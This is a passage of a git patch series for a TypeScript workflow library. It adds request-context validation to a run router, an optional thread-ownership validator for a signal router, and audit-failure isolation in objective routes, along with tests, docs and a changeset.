undefined, + {}, + { 'app.attribution': 'operator', nested: { tags: [1, true, null] } }, + ])('forwards an accepted context to policy and both start branches: %j', async (requestContext) => { + for (const keyed of [false, true]) { + const beforeStart = vi.fn>( + async () => {}, + ); + const start = vi.fn(async ({ runId }) => ({ + runId, + status: 'success', + })); + const { handle } = keyed + ? keyedHarness({ beforeStart, start }) + : makeHarness({ beforeStart, start }); + const inputData = { topic: 'launch' }; + const response = await handle( + req('/runs', { + body: { + workflowId: OPEN_FLOW.id, + inputData, + requestContext, + ...(keyed ? { idempotencyKey: 'context-key' } : {}), + }, + }), + ); + + expect(response?.status).toBe(200); + expect(beforeStart).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ + principal: expect.objectContaining({ id: OPERATOR.id }), + }), + OPEN_FLOW.id, + inputData, + requestContext, + ); + expect(start).toHaveBeenCalledOnce(); + expect(start.mock.calls[0]?.[0].requestContext).toEqual(requestContext); + expect( + Object.hasOwn(start.mock.calls[0]?.[0] ?? {}, 'requestContext'), + ).toBe(requestContext !== undefined); + } + }); + + it.each([ + null, + [], + ['value'], + true, + false, + 0, + 1, + '', + 'value', + ])('refuses a non-record context before policy: %j', async (requestContext) => { + const beforeStart = vi.fn>( + async () => {}, + ); + const { handle, started } = makeHarness({ beforeStart }); + const response = await handle( + req('/runs', { + body: { workflowId: OPEN_FLOW.id, requestContext }, + }), + ); + expect(response?.status).toBe(400); + expect(await response?.json()).toEqual({ + error: 'requestContext must be an object', + reason: 'reserved-context-key', + }); + expect(beforeStart).not.toHaveBeenCalled(); + expect(started).toEqual([]); + }); + + it.each([ + ...RESERVED_EXECUTION_CONTEXT_KEYS, + 'breakwater.futureCapability', + ])('refuses reserved application-context key %s before policy', async (key) => { + const beforeStart = vi.fn>( + async () => {}, + ); + const { handle, started } = makeHarness({ beforeStart }); + const response = await handle( + req('/runs', { + body: { + workflowId: OPEN_FLOW.id, + requestContext: Object.fromEntries([[key, 'forged']]), + }, + }), + ); + expect(response?.status).toBe(400); + expect(await response?.json()).toEqual({ + error: `requestContext may not carry the reserved key '${key}'`, + reason: 'reserved-context-key', + }); + expect(beforeStart).not.toHaveBeenCalled(); + expect(started).toEqual([]); + }); + + it.each([ + { actor: null, workflowId: OPEN_FLOW.id, status: 401 }, + { actor: REVIEWER, workflowId: OPEN_FLOW.id, status: 403 }, + { actor: VIEWER, workflowId: OPEN_FLOW.id, status: 403 }, + { actor: OPERATOR, workflowId: RESTRICTED_FLOW.id, status: 403 }, + ])('authenticates and authorizes before context validation: $actor $workflowId', async ({ + actor, + workflowId, + status, + }) => { + const beforeStart = vi.fn>( + async () => {}, + ); + const { handle, started } = makeHarness({ beforeStart }); + for (const requestContext of [null, { runId: 'forged' }]) { + const response = await handle( + req('/runs', { + actor, + body: { workflowId, requestContext }, + }), + ); + expect(response?.status).toBe(status); + expect(await response?.json()).not.toHaveProperty('reason'); + } + expect(beforeStart).not.toHaveBeenCalled(); + expect(started).toEqual([]); + }); + + it.each([ + undefined, + { 'app.attribution': 'accepted' }, + ])('delivers application context to an actual connector without input-data attribution: %j', async (requestContext) => { + const execute = vi.fn< + ConnectorConfig< + Record, + { attribution: unknown } + >['execute'] + >(async (_input, context) => ({ + attribution: context.requestContext?.get('app.attribution') ?? null, + })); + const connector = createConnector({ + id: 'inspect-attribution', + description: 'Reads run attribution', + inputSchema: z.record(z.string(), z.unknown()), + outputSchema: z.object({ attribution: z.unknown() }), + permissions: { sideEffect: 'read' }, + execute, + }); + const host = init( + { storage: new InMemoryStore() }, + { executionFence: 'none', startIdempotency: 'none' }, + ); + const inputSchema = z.record(z.string(), z.unknown()); + host + .createWorkflow({ + id: OPEN_FLOW.id, + inputSchema, + outputSchema: z.object({ attribution: z.unknown() }), + }) + .then( + host.createStep({ + id: 'inspect', + inputSchema, + outputSchema: z.object({ attribution: z.unknown() }), + execute: async ({ inputData, requestContext: stepContext }) => + invokeConnector(connector, inputData, { + requestContext: stepContext, + }), + }), + ) + .commit(); + const { handle } = makeHarness({ + start: ({ + workflowId, + runId, + inputData, + requestContext: context, + principal, + }) => + host.runtime.start(workflowId, { + runId, + inputData, + storedRequestContext: context, + requestedBy: principal.id, + requestedByKind: principal.kind, + }), + }); + const response = await handle( + req('/runs', { + body: { + workflowId: OPEN_FLOW.id, + requestContext, + inputData: { + 'app.attribution': 'forged-top-level', + requestContext: { 'app.attribution': 'forged-nested' }, + }, + }, + }), + ); + expect(response?.status).toBe(200); + expect(await response?.json()).toMatchObject({ + status: 'success', + result: { attribution: requestContext?.['app.attribution'] ?? null }, + }); + expect(execute).toHaveBeenCalledOnce(); + }); +}); + describe('createRunRouter — POST /runs', () => { it('400s a malformed body and 400s a body without workflowId', async () => { // #given @@ -1729,6 +1962,73 @@ function keyedHarness( } describe('createRunRouter — idempotent start', () => { + it('revalidates context and host policy on replay while retaining the first accepted context', async () => { + let persisted: RunSummary | undefined; + const beforeStart = vi.fn>( + async (_context, _workflowId, _inputData, requestContext) => { + if (requestContext?.['app.attribution'] === 'denied') { + throw new RunRouteError(403, 'attribution is not allowed'); + } + }, + ); + const start = vi.fn( + async ({ runId, requestContext }) => { + persisted = { + runId, + status: 'success', + result: { attribution: requestContext?.['app.attribution'] }, + }; + return persisted; + }, + ); + const { handle } = keyedHarness({ + beforeStart, + start, + status: async () => persisted, + }); + const request = (requestContext: unknown) => + req('/runs', { + body: { + workflowId: OPEN_FLOW.id, + idempotencyKey: 'context-key', + requestContext, + }, + }); + const first = await handle(request({ 'app.attribution': 'winner' })); + const winningBody = await first?.json(); + expect(first?.status).toBe(200); + expect(winningBody).toMatchObject({ result: { attribution: 'winner' } }); + + const divergent = await handle(request({ 'app.attribution': 'retry' })); + expect(divergent?.status).toBe(200); + expect(await divergent?.json()).toEqual(winningBody); + expect(beforeStart).toHaveBeenCalledTimes(2); + expect(beforeStart.mock.calls[1]?.[3]).toEqual({ + 'app.attribution': 'retry', + }); + + for (const invalid of [null, { runId: 'forged' }]) { + const response = await handle(request(invalid)); + expect(response?.status).toBe(400); + expect(await response?.json()).toMatchObject({ + reason: 'reserved-context-key', + }); + } + expect(beforeStart).toHaveBeenCalledTimes(2); + + const denied = await handle(request({ 'app.attribution': 'denied' })); + expect(denied?.status).toBe(403); + expect(await denied?.json()).toEqual({ + error: 'attribution is not allowed', + }); + expect(beforeStart).toHaveBeenCalledTimes(3); + expect(start).toHaveBeenCalledOnce(); + expect(start.mock.calls[0]?.[0].requestContext).toEqual({ + 'app.attribution': 'winner', + }); + expect(persisted).toEqual(winningBody); + }); + it('refuses a key on a host that wired no reservation store', async () => { // #given the typed opt-out — the default in this file const { handle } = makeHarness(); diff --git a/packages/flowsafe/src/host-kit/run-router.ts b/packages/flowsafe/src/host-kit/run-router.ts index 5b5a978a..93db4fec 100644 --- a/packages/flowsafe/src/host-kit/run-router.ts +++ b/packages/flowsafe/src/host-kit/run-router.ts @@ -11,6 +11,10 @@ import { type ExecutionPrincipalKind, RUN_START_ROLES, } from '../approval-api/index.js'; +import { + assertNoReservedExecutionContext, + ReservedExecutionContextError, +} from '../do-runner/execution-context.js'; import { beginIdempotentStart, DoStatusError, @@ -103,6 +107,7 @@ export interface RunRouterOptions { context: ActorContext, workflowId: string, inputData: unknown, + requestContext: Record | undefined, ) => Promise; /** Host policy that must pass immediately before a validated raw resume. */ beforeResume?: ( @@ -183,6 +188,7 @@ export interface RunStartInput { workflowId: string; runId: string; inputData: unknown; + requestContext?: Record; /** Full trusted identity stamped onto the target Durable Object request. */ principal: ExecutionPrincipal; /** Present only for a target-verifiable schedule fire. */ @@ -205,6 +211,7 @@ interface StartBody { workflowId?: string; runId?: string; inputData?: unknown; + requestContext?: Record; deadlineMs?: unknown; /** * A caller-chosen key that makes this start exactly-once for this caller. @@ -232,6 +239,9 @@ function json(payload: unknown, status = 200): Response { } function errorResponse(error: unknown): Response { + if (error instanceof ReservedExecutionContextError) { + return json({ error: error.message, reason: 'reserved-context-key' }, 400); + } if (error instanceof RunRouteError) { return json( { @@ -370,6 +380,9 @@ async function startIdempotently( workflowId, runId, inputData: body.inputData, + ...(body.requestContext === undefined + ? {} + : { requestContext: body.requestContext }), principal, mutationEpoch, idempotencyKey: key, @@ -459,6 +472,7 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { idempotencyKey, deadlineMs, inputData, + requestContext, runId: suppliedRunId, } = parsed; const body: StartBody = { @@ -491,10 +505,27 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { 403, ); } - await options.beforeStart?.(context, startTarget, inputData); - // Unkeyed starts take the path they always took: mint, start, answer. - // Keyed starts route through the reservation, which decides whether - // this request starts a run or reports one that already exists. + if (requestContext !== undefined) { + if ( + typeof requestContext !== 'object' || + requestContext === null || + Array.isArray(requestContext) + ) { + throw new RunRouteError( + 400, + 'requestContext must be an object', + 'reserved-context-key', + ); + } + assertNoReservedExecutionContext(requestContext); + } + body.requestContext = requestContext; + await options.beforeStart?.( + context, + startTarget, + inputData, + requestContext, + ); const { summary, replayed } = body.idempotencyKey === undefined ? { @@ -502,6 +533,9 @@ export function createRunRouter(options: RunRouterOptions): RunRouter { workflowId: startTarget, runId: context.newRunId(), inputData: body.inputData, + ...(body.requestContext === undefined + ? {} + : { requestContext: body.requestContext }), principal, mutationEpoch, ...(body.deadlineMs === undefined From 323c2ce982ad196d7a77d78d5d226d029484616c Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 10:30:15 +0400 Subject: [PATCH 096/169] feat(flowsafe): validate signal targets and isolate audit failures --- .changeset/strict-signal-ingress-audit.md | 7 + docs/durable-agents.md | 6 +- packages/agent-starter/src/worker.ts | 8 + packages/flowsafe/README.md | 4 +- .../flowsafe/scripts/agent-host-pack-test.mjs | 72 ++- .../src/goals/objective-routes.test.ts | 263 ++++++++- .../flowsafe/src/goals/objective-routes.ts | 86 ++- .../subscription-routes.test.ts | 224 +++++++- .../signal-providers/webhook-route.test.ts | 338 +++++++++++ .../src/signal-providers/webhook-route.ts | 263 ++++----- packages/flowsafe/src/signals/router.test.ts | 537 +++++++++++++++++- packages/flowsafe/src/signals/router.ts | 162 +++--- .../signal-ingestion.integration.test.ts | 304 +++++++++- .../src/signals/thread-do-routes.test.ts | 54 +- .../flowsafe/src/signals/thread-do-routes.ts | 36 +- 15 files changed, 2016 insertions(+), 348 deletions(-) create mode 100644 .changeset/strict-signal-ingress-audit.md diff --git a/.changeset/strict-signal-ingress-audit.md b/.changeset/strict-signal-ingress-audit.md new file mode 100644 index 00000000..eeea09c5 --- /dev/null +++ b/.changeset/strict-signal-ingress-audit.md @@ -0,0 +1,7 @@ +--- +'@proofoftech/flowsafe': minor +--- + +Add optional `SignalRouterOptions.validateThreadTarget` using the existing bound-thread validator contract, with captured actor context before asynchronous validation. Hosts can enforce strict ownership before forwarding. Normalize thread refusals with status 404 and audit the final downstream result. + +Contain audit and diagnostic failures in signal, objective, subscription and webhook routes so they preserve the selected response. Use own-property lookup for signal channels, objective methods and webhook provider configuration. diff --git a/docs/durable-agents.md b/docs/durable-agents.md index a3dedebb..08fa3dfc 100644 --- a/docs/durable-agents.md +++ b/docs/durable-agents.md @@ -273,7 +273,9 @@ Mount `createSignalRouter()` through `createFlowsafeWorker({ buildSignalRouter } Without agent memory, persist outcomes return `memory-unavailable`, except that a default or `ifIdle: 'persist'` message or signal still delivers into an active run (an active persist that no memory could write still answers `memory-unavailable`), a persist-behavior agent-schedule fire settles a canonical `discard` receipt, and an owner notification keeps its inbox row while the model-visible memory write remains best-effort. -The Worker applies this order: authentication, coarse role, thread lookup, byte cap, JSON parse, client-memory-id rejection, attribute-key allowlist, the configured rate-limit seam, audit, then topology forwarding. The starter's limiter is isolate-local example protection; use shared durable state when the limit is contractual across the deployment. +Configure `SignalRouterOptions.validateThreadTarget` with the existing `BoundThreadTargetValidator` type to apply host-specific restrictions before body parsing or signal forwarding. `createAgentThreadTopology().requireBoundThread` verifies a durable binding. For strict ownership, compare the captured principal's `kind` and `id` with the owner returned by `await context.resourceOwnerFor('thread', target.threadId)`, and throw `RunRouteError` with status 404 on refusal. Omitting the callback retains the router's existing resource-access policy, including its administrator access. + +The router records acceptance after the downstream response succeeds and normalizes thread-not-found refusals from registry access, the validator and the receiving Durable Object. Audit-sink and diagnostic failures retain the selected response. The starter's limiter is isolate-local example protection; use shared durable state when the limit is contractual across the deployment. Signals are untrusted model input. Core escapes the XML representation, while the route validates tag and attribute names and caps payload size. A receiving agent's ordinary `processInput` policy is not a complete signal boundary: Mastra can drain queued signals after the initiating input processor has run. Configure `createThreadSignalRoutes({ contentPolicy })` to inspect Mastra's canonical escaped XML inside the Thread Durable Object before delivery, persistence, wake, or run start. The same boundary covers direct routes, providers, schedules, and notification dispatch. @@ -290,7 +292,7 @@ PATCH /api/threads/:threadId/goal DELETE /api/threads/:threadId/goal ``` -Objectives are standing instructions injected into future turns. The router therefore uses the signal-ingestion trust posture for writes: authenticate, authorize, ownership-check, reject client memory ids, cap size and `maxRuns`, then audit every accepted or post-auth rejected mutation. +Objectives are standing instructions injected into future turns. Mutations require authenticated thread access. Audit-sink failures retain the selected mutation result. The router writes through Mastra's objective helpers into the goal lane of `mastra_thread_state`, so the durable goal step reads the identical shape. Updates are deployment-local last-write-wins rather than a serialized thread lease. diff --git a/packages/agent-starter/src/worker.ts b/packages/agent-starter/src/worker.ts index 83811d7a..22417c28 100644 --- a/packages/agent-starter/src/worker.ts +++ b/packages/agent-starter/src/worker.ts @@ -214,6 +214,14 @@ const workerConfig = { env.THREAD, env.DEPLOYMENT_IDENTITY_SECRET, ), + validateThreadTarget: createAgentThreadTopology( + env.THREAD, + env.DEPLOYMENT_IDENTITY_SECRET, + { + startIdempotency: startIdempotency(env.DB), + executionFence: executionFence(env.DB), + }, + ).requireBoundThread, attributeAllowlist: signalAttributeAllowlist(env), rateLimit: signalRateLimit, audit, diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index 76aa79ef..19a38207 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -433,7 +433,9 @@ Agent event replay lasts only as long as the configured Mastra cache. The defaul ### Signals and notifications -`createThreadSignalRoutes()` hosts message, queue, signal, state, and notification delivery in the thread Durable Object. `createSignalRouter()` is the Worker trust boundary: authenticate, authorize, ownership-check, cap, parse, reject memory ids, allowlist attributes, rate-limit, audit, then forward. +`createThreadSignalRoutes()` hosts message, queue, signal, state, and notification delivery in the thread Durable Object. `createSignalRouter()` authenticates Worker requests before reaching those routes. Its optional `validateThreadTarget` uses the existing `BoundThreadTargetValidator` type for host-specific binding or ownership restrictions. See the [signal-ingress guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/durable-agents.md#expose-signal-ingestion) for strict-owner composition. + +Signal acceptance is audited after the downstream response succeeds. Thread refusals with status 404 use a consistent public response across registry, validator and downstream checks. An audit-sink failure retains the selected response. The thread routes reject a signal whose `tagName` is not an XML name, and drop an attributes object carrying a value Mastra cannot render or a key that is not an XML name. Both are what core would otherwise throw on while rendering the signal inside the agent turn. diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index d1e72442..7c0be75e 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -558,8 +558,9 @@ import { import { createFlowsafeWorker, type FlowsafeWorkerConfig, type FlowsafeWorkerEnv, type RunStartInput, type DoRunStartInput, type RunRouterOptions, - type RunRouterStartIdempotency, + type RunRouterStartIdempotency, type BoundThreadTargetValidator, type ThreadTopology, } from '@proofoftech/flowsafe/host-kit'; +import { createSignalRouter, type SignalRouterOptions } from '@proofoftech/flowsafe/signals'; import { type AgentStartAuthority, type FlowsafeDurableAgent, } from '@proofoftech/flowsafe/agent-runner'; @@ -607,6 +608,17 @@ createPrincipalActorContext({ }); declare const hostInit: ThreadScope['init']; const legacyScope: ThreadScope = { threadId: 'thread', principal, init: hostInit }; +declare const signalTopology: ThreadTopology; +declare const validateBoundThread: BoundThreadTargetValidator; +const signalOptions: SignalRouterOptions = { + resolve: async () => legacyContext, + topology: signalTopology, + validateThreadTarget: validateBoundThread, +}; +createSignalRouter(signalOptions); +createSignalRouter({ resolve: signalOptions.resolve, topology: signalTopology }); +const signalTargetResult: Promise = validateBoundThread(legacyContext, { threadId: 'thread' }); +void signalTargetResult; const epochScope: ThreadScope = { ...legacyScope, mutationEpoch: 2 }; const legacyInput: RunStartInput = { workflowId: 'workflow', runId: 'run', inputData: {}, principal }; const epochInput: RunStartInput = { ...legacyInput, mutationEpoch: 2 }; @@ -730,6 +742,7 @@ import * as doRunner from '@proofoftech/flowsafe/do-runner'; import * as hostKit from '@proofoftech/flowsafe/host-kit'; import * as agentRunner from '@proofoftech/flowsafe/agent-runner'; import * as schedules from '@proofoftech/flowsafe/schedules'; +import * as signals from '@proofoftech/flowsafe/signals'; import { Mastra } from '@mastra/core/mastra'; import { InMemoryStore } from '@mastra/core/storage'; import { createStep, createWorkflow } from '@mastra/core/workflows'; @@ -1115,6 +1128,63 @@ assert.equal(typeof host.createAgentRouter, 'function'); assert.equal(typeof host.createAgentThreadTopology, 'function'); assert.equal(typeof host.createThreadAgentHost, 'function'); assert.equal(typeof host.createAgentApprovalResumer, 'function'); +const signalFactory = new approvals.InMemoryApprovalStoreFactory(); +const signalPrincipal = { kind: 'human', id: 'signal-owner', role: 'operator' }; +await signalFactory.resources().claim('thread', 'signal-thread', signalPrincipal); +const signalContext = approvals.createPrincipalActorContext({ + principal: signalPrincipal, + storeFactory: signalFactory, + buildService: () => { throw new Error('signal probe does not build an approval service'); }, +}); +const savedSignalLogger = console.error; +console.error = () => {}; +try { + for (const mode of ['strict-refusal', 'downstream-refusal', 'success', 'default']) { + let sends = 0; + let validations = 0; + const events = []; + const router = signals.createSignalRouter({ + resolve: async () => signalContext, + topology: { + send: async () => { + sends += 1; + assert.equal(events.length, 0); + return new Response(JSON.stringify(mode === 'downstream-refusal' + ? { error: 'private target detail' } + : { decision: { action: 'deliver' }, signalId: 'packed-signal' }), { + status: mode === 'downstream-refusal' ? 404 : 200, + }); + }, + forward: async () => { throw new Error('unexpected forwarding seam'); }, + }, + ...(mode === 'default' ? {} : { + validateThreadTarget: async (context, target) => { + validations += 1; + assert.deepEqual(context.principal, signalPrincipal); + assert.deepEqual(target, { threadId: 'signal-thread' }); + if (mode === 'strict-refusal') throw new hostKit.RunRouteError(404, 'private validator detail'); + }, + }), + audit: event => { + events.push(event); + throw new hostKit.RunRouteError(404, 'audit sink detail'); + }, + }); + const response = await router(new Request('https://packed.test/api/threads/signal-thread/message', { + method: 'POST', body: JSON.stringify({ contents: 'hello' }), + })); + const refused = mode === 'strict-refusal' || mode === 'downstream-refusal'; + assert.equal(response.status, refused ? 404 : 200); + if (refused) assert.deepEqual(await response.json(), { error: 'thread not found' }); + else assert.deepEqual(await response.json(), { decision: { action: 'deliver' }, signalId: 'packed-signal' }); + assert.equal(sends, mode === 'strict-refusal' ? 0 : 1); + assert.equal(validations, mode === 'default' ? 0 : 1); + assert.equal(events.length, 1); + assert.equal(events[0].outcome, refused ? 'rejected' : 'accepted'); + } +} finally { + console.error = savedSignalLogger; +} assert.equal(typeof host.isPermissionIdentifier, 'function'); assert.equal(host.isPermissionIdentifier('reports.read'), true); assert.equal(host.isPermissionIdentifier('Reports.read'), false); diff --git a/packages/flowsafe/src/goals/objective-routes.test.ts b/packages/flowsafe/src/goals/objective-routes.test.ts index c877fdd4..43e81099 100644 --- a/packages/flowsafe/src/goals/objective-routes.test.ts +++ b/packages/flowsafe/src/goals/objective-routes.test.ts @@ -1,16 +1,14 @@ // SPDX-License-Identifier: Apache-2.0 -// The goal objective HTTP surface (createObjectiveRouter): bounded ingestion -// gate order (401 -> ownership -> role -> size/body/field/cap -> audit -> -// persist). Each fails closed. The suite also covers the set/get/update/clear -// round-trip, byte-identical to core's Agent goal methods, the maxRuns host -// cap, and the GOAL_REQUEST_CONTEXT_KEY no-collision reservation over mock -// resolver and store seams. import { describe, expect, it, vi } from 'vitest'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; -import type { ActorContext, ApprovalActor } from '../approval-api/index.js'; +import { + type ActorContext, + ActorResolutionError, + type ApprovalActor, +} from '../approval-api/index.js'; import { BREAKWATER_ACTOR_KEY, BREAKWATER_CONNECTOR_EXECUTION_KEY, @@ -129,6 +127,39 @@ interface GoalRecord { } describe('createObjectiveRouter — bounded ingestion gate', () => { + it.each([ + 'constructor', + 'toString', + '__proto__', + 'hasOwnProperty', + ])('rejects inherited operation %s before authentication or storage', async (method) => { + const { store, raw } = memoryStore(); + const resolve = vi.fn(async () => actorContext('operator')); + const read = vi.spyOn(store, 'getState'); + const write = vi.spyOn(store, 'setState'); + const clear = vi.spyOn(store, 'deleteState'); + const validateThreadTarget = vi.fn(async () => undefined); + const audit = vi.fn(); + const router = createObjectiveRouter({ + resolve, + store, + validateThreadTarget, + audit, + }); + + const response = await router(req(method, OWNED_THREAD, {})); + + expect(response?.status).toBe(405); + expect(await response?.json()).toEqual({ error: 'method not allowed' }); + expect(resolve).not.toHaveBeenCalled(); + expect(read).not.toHaveBeenCalled(); + expect(write).not.toHaveBeenCalled(); + expect(clear).not.toHaveBeenCalled(); + expect(validateThreadTarget).not.toHaveBeenCalled(); + expect(audit).not.toHaveBeenCalled(); + expect(raw.size).toBe(0); + }); + it.each([ { maxRunsCap: 0 }, { maxRunsCap: 1.5 }, @@ -743,6 +774,50 @@ describe('createObjectiveRouter and the deployment execution fence', () => { } as unknown as ExecutionFenceDatabase); } + it.each([ + 'draining', + 'unreadable', + ] as const)('preserves the %s fence refusal when audit and diagnostics fail', async (state) => { + const { store, raw } = memoryStore(); + const audit = vi.fn(() => { + throw new ActorResolutionError('audit failed'); + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + const router = createObjectiveRouter({ + resolve: async () => actorContext('operator'), + store, + audit, + executionFence: + state === 'unreadable' ? unreadableFence() : await fenceAt(state), + }); + try { + const response = await router( + req('PUT', OWNED_THREAD, { objective: 'ship it' }), + ); + expect(response?.status).toBe(503); + expect(await response?.json()).toMatchObject({ + reason: + state === 'unreadable' + ? { code: 'EXECUTION_FENCE_UNREADABLE' } + : { code: 'EXECUTION_FENCED', state: 'draining' }, + }); + expect(audit).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ + outcome: 'rejected', + reason: + state === 'unreadable' + ? 'execution-fence-unreadable' + : 'execution-fenced', + }), + ); + expect(raw.size).toBe(0); + } finally { + logged.mockRestore(); + } + }); + it('degrades a mutation closed with 503 when the fence cannot be read', async () => { // #given const { store, raw } = memoryStore(); @@ -847,3 +922,177 @@ describe('createObjectiveRouter and the deployment execution fence', () => { expect(await res?.json()).toEqual({ objective: null }); }); }); + +describe('createObjectiveRouter audit isolation', () => { + it.each([ + ['role', 'viewer', OWNED_THREAD, {}, 403, 'forbidden', 'forbidden-role'], + [ + 'owner', + 'operator', + 'foreign', + {}, + 404, + 'thread not found', + 'invalid-thread', + ], + [ + 'array body', + 'operator', + OWNED_THREAD, + [], + 400, + 'a JSON object body is required', + 'malformed-body', + ], + [ + 'invalid JSON', + 'operator', + OWNED_THREAD, + '{', + 400, + 'a JSON object body is required', + 'malformed-body', + ], + [ + 'memory id', + 'operator', + OWNED_THREAD, + { threadId: 'forged' }, + 400, + 'threadId is server-assigned (agent-memory ids are minted by the host)', + 'client-memory-id', + ], + [ + 'typed refusal', + 'operator', + OWNED_THREAD, + { objective: 'ship it' }, + 422, + 'host refused objective', + 'route-error-422', + ], + ] as const)('preserves the %s refusal when audit throws a route error and diagnostics throw', async (_label, role, threadId, body, status, message, reason) => { + const { store, raw } = memoryStore(); + const audit = vi.fn(() => { + throw new RunRouteError(409, 'audit failed'); + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new ActorResolutionError('logger failed'); + }); + const router = createObjectiveRouter({ + resolve: async () => ({ ...actorContext(role), deploymentTag: 'acme' }), + store, + audit, + validateThreadTarget: async () => { + throw new RunRouteError(422, 'host refused objective'); + }, + }); + try { + const response = await router(req('PUT', threadId, body)); + expect(response?.status).toBe(status); + expect(await response?.json()).toEqual({ error: message }); + expect(response?.headers.get('cache-control')).toBe('no-store'); + expect(audit).toHaveBeenCalledExactlyOnceWith({ + type: 'goal.objective', + deploymentTag: 'acme', + actorId: 'opal', + threadId, + operation: 'set', + outcome: 'rejected', + reason, + timestamp: expect.any(String), + }); + expect(logged).toHaveBeenCalledTimes(1); + expect(raw.size).toBe(0); + } finally { + logged.mockRestore(); + } + }); + + it.each([ + 'actor error', + 'message getter', + 'toString', + ])('preserves committed mutations when the audit sink throws %s', async (failure) => { + const error = + failure === 'actor error' + ? new ActorResolutionError('audit failed') + : failure === 'message getter' + ? Object.defineProperty(new Error(), 'message', { + get() { + throw new Error('message failed'); + }, + }) + : { + toString() { + throw new Error('coercion failed'); + }, + }; + const { store, raw } = memoryStore(); + const audit = vi.fn(async () => { + throw error; + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + const router = createObjectiveRouter({ + resolve: async () => actorContext('operator'), + store, + audit, + }); + try { + const set = await router( + req('PUT', OWNED_THREAD, { objective: 'ship it' }), + ); + expect(set?.status).toBe(200); + expect(await set?.json()).toMatchObject({ + objective: { objective: 'ship it', status: 'active' }, + }); + expect(raw.size).toBe(1); + const update = await router( + req('PATCH', OWNED_THREAD, { status: 'paused' }), + ); + expect(update?.status).toBe(200); + expect(await update?.json()).toMatchObject({ + objective: { objective: 'ship it', status: 'paused' }, + }); + expect(raw.get(`${OWNED_THREAD}::goal`)).toMatchObject({ + status: 'paused', + }); + const clear = await router(req('DELETE', OWNED_THREAD)); + expect(clear?.status).toBe(200); + expect(await clear?.json()).toEqual({ ok: true }); + expect(raw.size).toBe(0); + expect(audit.mock.calls).toEqual( + ['set', 'update', 'clear'].map((operation) => [ + expect.objectContaining({ operation, outcome: 'accepted' }), + ]), + ); + expect(logged).toHaveBeenCalledTimes(3); + } finally { + logged.mockRestore(); + } + }); + + it('captures the audit callback and preserves its options receiver', async () => { + const { store } = memoryStore(); + let receiver: ObjectiveRouterOptions | undefined; + const audit = vi.fn(function (this: ObjectiveRouterOptions) { + receiver = this; + }); + const replacement = vi.fn(); + const options: ObjectiveRouterOptions = { + resolve: async () => actorContext('operator'), + store, + validateThreadTarget: async () => undefined, + executionFence: 'none', + audit, + }; + const router = createObjectiveRouterImpl(options); + options.audit = replacement; + expect((await router(req('DELETE', OWNED_THREAD)))?.status).toBe(200); + expect(audit).toHaveBeenCalledTimes(1); + expect(receiver).toBe(options); + expect(replacement).not.toHaveBeenCalled(); + }); +}); diff --git a/packages/flowsafe/src/goals/objective-routes.ts b/packages/flowsafe/src/goals/objective-routes.ts index b6b4385e..769a0756 100644 --- a/packages/flowsafe/src/goals/objective-routes.ts +++ b/packages/flowsafe/src/goals/objective-routes.ts @@ -15,26 +15,6 @@ // through core's OWN writeObjective/readObjective/clearObjective over the SAME // (threadId, 'goal') key, so the stored shape can never drift from the reader's. // -// An objective is a STANDING INSTRUCTION injected into every future model -// turn, so the write path is an ingestion trust boundary. It uses the same -// resource-first authorization rule as the signal router: -// -// 1. resolve and validate the actor -> 401 / 403 -// 2. verify registry-backed thread ownership -> 404 -// 3. require RUN_START_ROLES for mutations -> 403 -// 4. cap the raw body, then parse JSON -> 413 / 400 -// 5. reject client-supplied memory ids -> 400 -// 6. allow only objective fields -> 400 -// 7. enforce the host maxRuns cap -> 400 -// 8. audit (goal.objective) + persist -// -// Every MUTATION (set/update/clear) is audited on ACCEPT and on EVERY post-auth -// denial (role 403, malformed target 404, size/body/field/cap 400), following -// the signal-ingestion lesson. A GET is audited only on a post-auth denial; a -// benign successful read is not a standing-instruction write and is not logged. -// Pre-auth failures (401 / a resolver throw -> 403) are NOT audited: an -// unauthenticated flood must never be able to write the log. -// // maxRuns: a requested maxRuns above the host cap is REJECTED (400), // not silently clamped. A caller that asked for 200 evaluations and got 50 would // see mysterious early-stopping — exactly the "your value was quietly replaced" @@ -81,6 +61,7 @@ import { isExecutionFenceRefusal, readExecutionFence, } from '../do-runner/index.js'; +import { hostErrorText } from '../host-kit/host-approval-service.js'; import { assertNoClientMemoryIds, type BoundThreadTargetValidator, @@ -403,7 +384,7 @@ function buildUpdateRecord( export function createObjectiveRouter( options: ObjectiveRouterOptions, ): ObjectiveRouter { - const { executionFence, resolve, store } = options; + const { executionFence, resolve, store, audit: auditSink } = options; const roles = options.roles ?? RUN_START_ROLES; const maxRunsCap = positiveSafeInteger( options.maxRunsCap ?? DEFAULT_GOAL_MAX_RUNS, @@ -432,48 +413,47 @@ export function createObjectiveRouter( // route-absent, never a pre-auth decodeURIComponent throw out of the handler. const threadId = safeDecodeSegment(segments[baseSegments.length]); if (threadId === undefined) return null; - const operation = OPERATION_BY_METHOD[request.method]; + const operation = Object.hasOwn(OPERATION_BY_METHOD, request.method) + ? OPERATION_BY_METHOD[request.method] + : undefined; if (operation === undefined) { return json({ error: 'method not allowed' }, 405); } const isMutation = operation !== 'get'; - // Hoisted above the try so the catch audits the post-auth denials that - // surface as thrown RunRouteErrors (the ownership 404, the memory-id 400). - // `context` is undefined until resolve succeeds and the closure no-ops while - // it is, so a pre-auth throw is never audited; a benign GET is not audited. let context: ActorContext | undefined; const audit = async ( outcome: 'accepted' | 'rejected', reason?: string, ): Promise => { - if (!options.audit || !context) return; + if (!auditSink || !context) return; if (operation === 'get' && outcome === 'accepted') return; - await options.audit({ - type: 'goal.objective', - 